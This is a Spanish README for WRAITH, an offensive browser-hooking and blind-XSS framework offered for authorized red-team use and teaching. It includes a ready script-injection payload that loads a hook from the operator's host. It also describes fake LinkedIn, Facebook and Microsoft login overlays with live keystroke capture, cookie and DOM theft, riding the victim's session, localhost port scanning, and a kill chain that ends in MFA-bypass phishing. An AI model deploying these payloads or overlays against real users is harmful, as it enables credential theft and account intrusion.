
Framework de hooking de navegadores para equipos rojos autorizados y educadores. Engancha navegadores mediante XSS, proporciona control interactivo post-explotación, captura de botín blind-XSS, overlays de ingeniería social y un laboratorio de práctica.
Un framework moderno y autónomo de hooks para navegador, pensado para equipos rojos, investigadores de seguridad y educadores: un sucesor de código limpio de BeEF y de las herramientas de callback blind-XSS que usamos a diario.
SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS, INVESTIGACIÓN Y EDUCACIÓN. WRAITH es una herramienta de seguridad ofensiva para demostrar y probar tácticas de phishing / man-in-the-browser / blind-XSS. Úsala únicamente contra sistemas y personas sobre los que tengas autorización explícita para probar. Eres responsable de cómo la uses.

A lo largo de nuestro trabajo en Arcanum, recurríamos constantemente a dos tipos diferentes de herramientas y deseábamos que fueran una sola cosa.
Por un lado estaba BeEF — el Browser Exploitation Framework — para el flujo de trabajo clásico de enganchar un navegador y luego trabajar desde dentro de su sesión: registrar las pulsaciones de un login falso, hacer reconocimiento de la red local, lanzar un módulo contra una víctima en vivo. Es la herramienta que usábamos para hacer tangible el man-in-the-browser para la gente. Pero está mostrando su edad, grandes partes son poco fiables en los navegadores actuales, y las superposiciones de ingeniería social parecen logins de hace una década.
Por otro lado estaban nuestros frameworks de callback blind-XSS favoritos (XSS Hunter, ezXSS): suelta un payload en un campo y, en el instante en que se ejecuta en algún lugar que no puedes ver, llama a casa con el botín: origen, cookies, DOM, una captura de pantalla.
Lo que necesitábamos cada vez más — especialmente a medida que más de nuestros objetivos se convertían en ecosistemas de aplicaciones de IA, donde texto no confiable fluye a través de agentes, salidas de herramientas, colas de revisión de administradores y consolas de soporte, y ejecuta JavaScript en lugares donde nadie está mirando — era un único framework que hiciera ambas cosas: el control interactivo y persistente de post-explotación de un hook de BeEF, y el botín de callback blind-XSS de tipo fire-and-forget, en un solo payload que sea fiable en los navegadores actuales y que se vea como las pantallas de login reales de hoy.
Así que construimos WRAITH.
Lanzamos WRAITH temprano, y a propósito. Preferimos ponerlo en manos de las personas que realmente lo usarán — y escuchar qué se rompe — que guardarlo hasta que esté "terminado".
Eso significa: espera bordes ásperos y errores. Algunos módulos están más probados en batalla que otros, el comportamiento de los navegadores cambia constantemente bajo nuestros pies (consulta las notas sobre el escaneo de red más abajo), y las APIs pueden cambiar entre versiones. Si encuentras algo, por favor abre un issue — pasos para reproducir, navegador + versión, y qué esperabas son oro. Los PRs son bienvenidos bajo los términos de contribución del proyecto.
El camino más rápido. Necesitas Docker + Docker Compose.
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
setup.sh te guía a través de todo:
.env ignorado por git (chmod 600),
y construye + inicia el contenedor. Consola del operador : http://YOUR_IP:8090/operator/
Página de login : http://YOUR_IP:8090/login (usuario "operator")
Página demo de víctima : http://YOUR_IP:8090/demo/
Payload de hook : http://YOUR_IP:8090/hook.js
Payload XSS listo para usar:
"><script src="http://YOUR_IP:8090/hook.js"></script>
Gestiona con comandos estándar de compose:
docker compose logs -f # obsérvalo
docker compose down # detener (conserva ./data)
./setup.sh # reconfigurar (rotar contraseña, cambiar dirección, …)
Las sesiones capturadas persisten en ./data/ en el host — nunca integradas en la
imagen, nunca commiteadas (.env y data/ están ignorados por git).
La consola del operador está protegida por login siempre que se establezca una contraseña de operador, con un inicio de sesión de nombre de usuario + contraseña:

npm install
npm start
Luego abre la consola del operador en http://127.0.0.1:3000/operator/ y la página demo de víctima en http://127.0.0.1:3000/demo/ (en un segundo navegador/perfil). En localhost, el login está deshabilitado por defecto por conveniencia — el servidor se niega a vincularse a una interfaz pública sin una contraseña de operador, para que no puedas exponer accidentalmente un panel abierto.
/hook.js es un payload pequeño. Colócalo en cualquier página que controles
(<script src="/hook.js"></script>) o entrégalo mediante un XSS en tu objetivo. El
navegador que lo carga abre un WebSocket de vuelta al operador, se identifica a sí mismo
(navegador, SO, IP, página, UA), se reconecta automáticamente y sobrevive a la navegación.
Cada navegador enganchado aparece en vivo en la consola, donde eliges uno y lo controlas — el
panel completo es la imagen principal al inicio de este README: lista de navegadores
enganchados, detalle del objetivo, controles de despliegue, feed de actividad en vivo y
credenciales capturadas.
Superposiciones modernizadas de login falso, renderizadas en un shadow DOM aislado para que se vean perfectas en cualquier página host y difuminen la página detrás como un modal real de re-autenticación. Incluye LinkedIn, Facebook y Microsoft / Office 365 (flujo auténtico de dos pasos email → contraseña).

Cada carácter que el objetivo escribe en una superposición se transmite a la consola en tiempo real, y las credenciales enviadas aterrizan en Credenciales Capturadas — todo persistido para que nada se pierda al refrescar o reiniciar.

En el instante en que un navegador se engancha, WRAITH dispara automáticamente Page Capture: exactamente lo que un framework blind-XSS captura cuando tu payload se ejecuta en algún lugar que no puedes ver — dónde se ejecutó (origen + URL + referrer), las cookies de la víctima (no-HttpOnly), el DOM completo y una captura de pantalla. Los fallos se reportan honestamente, porque son la lección: las cookies HttpOnly nunca aparecen, y el CSP o el manchado del canvas por cross-origin pueden bloquear la captura de pantalla.

Aquí es donde WRAITH va más lejos que las herramientas que reemplaza. Cuando aterrizas un blind XSS o un hook en una página, la mayoría de los frameworks se detienen en una captura de pantalla y un volcado de HTML crudo — puedes ver dónde se ejecutó tu payload, pero no puedes realmente hacer nada con ello.
El Page Mirror de WRAITH convierte ese botín sin salida en una vista viva y navegable de la aplicación. Abre la página enganchada como una vista de navegador real y renderizada dentro de la consola del operador — luego haz clic en los enlaces y muévete por la app visualmente, igual que lo haría la víctima.

La clave: cada navegación se obtiene a través del navegador enganchado, por lo que viaja con la sesión de la víctima y la confianza del mismo origen. Cualquier página, endpoint o funcionalidad que la sesión de la víctima pueda alcanzar, tú también puedes alcanzarla — incluidas páginas protegidas detrás de una cookie de sesión autenticada que nunca ves (y que, al ser HttpOnly, nunca podrías robar directamente).
En el ejemplo siguiente, comenzamos en la cola de tickets de un agente de soporte y hacemos clic directo hasta una Credential Vault interna — una página que solo se resuelve dentro de una sesión de agente autenticada. Sin credenciales robadas por phishing, sin cookie robada: simplemente montamos la sesión de la víctima para llegar a ella.

Las lecturas cross-origin siguen fallando por diseño (la Same-Origin Policy se mantiene) — el alcance del mirror es exactamente el alcance de la víctima, ni más ni menos. Ese límite es en sí mismo parte de la lección.
Un catálogo estilo XSS-Hunter de cadenas de inyección listas para disparar para cada contexto
(HTML, ruptura de atributos, cierre de etiquetas, manejadores de eventos, contexto JS, URIs
javascript:, jQuery), cada una auto-rellenada con tu URL de hook y copiable con un clic.

Usa el navegador enganchado como proxy para identificar los servicios locales de la
víctima. Es un canal lateral de tiempo, reconstruido para los navegadores actuales — el
valor predeterminado fiable es un escaneo calibrado de 127.0.0.1 usando dos primitivas
independientes (tiempo de fetch y de WebSocket, el método literal de check.js de eBay).
Los modos LAN están incluidos pero etiquetados honestamente, porque el Local Network Access
de Chrome 142+ ahora los bloquea (consulta más abajo).
Un "mesa de soporte" deliberadamente vulnerable en /lab con un sumidero de XSS almacenado,
para que puedas demostrar toda la cadena de principio a fin, mismo origen: envía un ticket
malicioso → un "agente" revisa la cola y el payload se dispara (el momento blind-XSS) → usa
Page Mirror sobre el agente enganchado y extrae la bóveda protegida por sesión.
Intencionalmente inseguro por diseño, con flags plantados.

El hook se dispara en el momento en que se carga, exactamente como un payload blind-XSS colocado en un campo almacenado que luego se renderiza en algún contexto de admin/soporte/log/agente que no puedes ver. Lecciones que surgen directamente de los datos:
Para un laboratorio sin conexión, auto-aloja html2canvas — consulta public/vendor/README.md.
JavaScript no puede leer respuestas cross-origin, pero puede iniciar una solicitud y observar cómo falla y qué tan rápido, lo que filtra el estado del puerto. El módulo fue reconstruido alrededor de lo que funciona en navegadores actuales (2025–2026), porque el antiguo barrido LAN de la era BeEF ahora está muerto.
La realidad moderna: Chrome 142+ (oct 2025) lanzó Local Network Access (LNA), que bloquea las solicitudes a rangos privados (10.x / 172.16.x / 192.168.x) detrás de un aviso de permiso. Un barrido LAN ciego ya no llega al cable. Pero loopback (127.0.0.1) sigue siendo alcanzable, y escanearlo es el ataque del mundo real — eBay, Best Buy y otros fueron descubiertos escaneando puertos del localhost de los visitantes para identificar servicios locales y herramientas de acceso remoto.
Así que el módulo tiene tres modos:
127.0.0.1 que sondea cada puerto con tiempo de fetch y tiempo de WebSocket,
primero aprende la línea base RST de esta máquina, luego marca cualquier cosa que se
resuelva, se cuelgue o vaya más lenta como ABIERTO, etiqueta el servicio probable y
muestra si fetch, ws o ambos coincidieron. Funciona en Chrome y Firefox hoy.| BeEF | WRAITH |
|---|---|
hook.js + sondeo XHR | public/hook.js + WebSocket (en vivo, fiable) |
| Servidor Ruby + API RESTful | server.js (Node + ws) |
| Panel de navegadores en línea/desconectados | Consola del operador "Hooked Browsers" |
| Módulo Pretty Theft | superposiciones modules/*.js (LinkedIn/Facebook/Microsoft modernos) |
| Descubrimiento de red / escáner de puertos | modules/portscan.js (calibrado, navegador actual) |
| Resultados de comandos | Pulsaciones de teclado en vivo + Credenciales Capturadas + Resultados de Escaneo |
| (sin equivalente) | Page Capture (botín blind-XSS) + Page Mirror (navegar la app) |
Estas herramientas viven en etapas diferentes del ataque y abusan de contextos de confianza diferentes. Son complementarias y se encadenan entre sí.
| WRAITH / BeEF | Frameworks blind-XSS (XSS Hunter, ezXSS) | Proxies AiTM (Evilginx, EvilGoPhish, Modlishka) | |
|---|---|---|---|
| Qué es | C2 de post-explotación man-in-the-browser (+ botín blind-XSS) | Detección + prueba de XSS con reconocimiento de un solo disparo | Proxy inverso adversario-en-el-medio |
| Requisito previo | Ya tienes JS ejecutándose en la página | Igual: tu payload se ejecuta en algún lugar que no puedes ver | La víctima hace clic en un enlace e inicia sesión en tu dominio suplantado |
| Origen que abusa | La sesión real / origen real de la víctima | El origen de la app vulnerable | Un dominio de atacante separado que hace proxy del sitio real |
| Qué capturas | Credenciales + pulsaciones + reconocimiento + botín blind-XSS + navegar la app vía Page Mirror | "Se disparó, y aquí está": DOM, cookies, captura de pantalla, origen | Credenciales reales y el token de sesión post-MFA |
| ¿Supera MFA? | No — phishing de una credencial estática | Solo si monta una sesión autenticada en vivo en la página | Sí — robar la cookie de sesión post-autenticación es el punto |
La distinción honesta para enseñar: nuestro phishing por superposición cosecha lo que el usuario escribe — no captura una sesión real ni supera MFA. Es exactamente por eso que es un gran contraste, y por qué la industria se movió hacia la autenticación resistente al phishing y vinculada al origen (FIDO2 / WebAuthn / passkeys). Una cadena de muerte realista usa las tres: blind XSS encuentra y entrega ejecución de código, un hook de WRAITH da control interactivo dentro de la sesión (y, vía Page Mirror, alcanza funcionalidad de la app directamente), y una redirección puede canalizar a la víctima hacia un flujo de Evilginx para una sesión real que pasó MFA.
Todo está impulsado por variables de entorno; la misma compilación funciona en cualquier
lugar porque hook.js deriva su URL de callback desde donde se sirvió. setup.sh escribe
estas en .env.
| Variable de entorno | Predeterminado | Propósito |
|---|---|---|
WRAITH_HOST | 127.0.0.1 | interfaz de vinculación (0.0.0.0 para exponer; forzado en Docker) |
WRAITH_PORT | 3000 | puerto HTTP + WebSocket (setup.sh usa 8090 por defecto) |
WRAITH_PUBLIC_URL | (derivado) | tu IP/dominio, usado para imprimir URLs de hook correctas |
WRAITH_OP_USER | (vacío) | nombre de usuario del login del operador (opcional; setup.sh establece uno) |
WRAITH_OP_PASSWORD | (vacío) | contraseña del login del operador; requerida para vincularse públicamente |
WRAITH_SECRET | (aleatorio/arranque) | firma las cookies de sesión; establécelo para mantener logins entre reinicios |
WRAITH_SESSION_HOURS | 12 | duración de la sesión del operador |
WRAITH_AUTOCAPTURE | 1 | dispara Page Capture automáticamente al enganchar (0 = manual, estilo BeEF) |
Una cookie de sesión HttpOnly firmada cubre tanto el panel como el WebSocket en vivo. El
payload de hook, la página demo y el canal /ws/hook permanecen públicos para que las
víctimas puedan alcanzarlos. Como salvaguarda, el servidor se niega a vincularse a una
interfaz pública a menos que se establezca una contraseña.
Para un despliegue bare-metal / systemd en lugar de Docker, consulta deploy/DEPLOY.md.
server.js Servidor C2 (HTTP + WS, dos roles por ruta)
config.js Configuración impulsada por entorno
store.js Almacén duradero de sesiones/botín (data/sessions.json)
lab.js Laboratorio de práctica deliberadamente vulnerable (/lab)
public/hook.js El payload
public/demo/ Página de aterrizaje "víctima" inocua
public/operator/ Consola del operador (GUI + catálogo de payloads)
modules/ linkedin.js facebook.js microsoft.js portscan.js capture.js + registro
public/vendor/ Librerías opcionales auto-alojadas (html2canvas para capturas sin conexión)
setup.sh Instalador Docker interactivo
Dockerfile / docker-compose.yml
deploy/ Alternativa bare-metal systemd
docs/screenshots/ Imágenes usadas en este README
WRAITH es © 2026 Arcanum Information Security, publicado bajo la Apache License 2.0.
Eres libre de usarlo, modificarlo y redistribuirlo — incluso en tu propia formación —
pero debes mantener la atribución: conserva los archivos LICENSE y NOTICE y el
aviso de copyright de Arcanum en cualquier cosa que distribuyas o bifurques, y declara
cualquier cambio que hayas hecho (Apache-2.0 §4). Consulta NOTICE. La licencia no
otorga el uso del nombre o las marcas de Arcanum más allá de describir de dónde proviene el
código.
Construido con ❤️ por Arcanum — https://arcanum-sec.com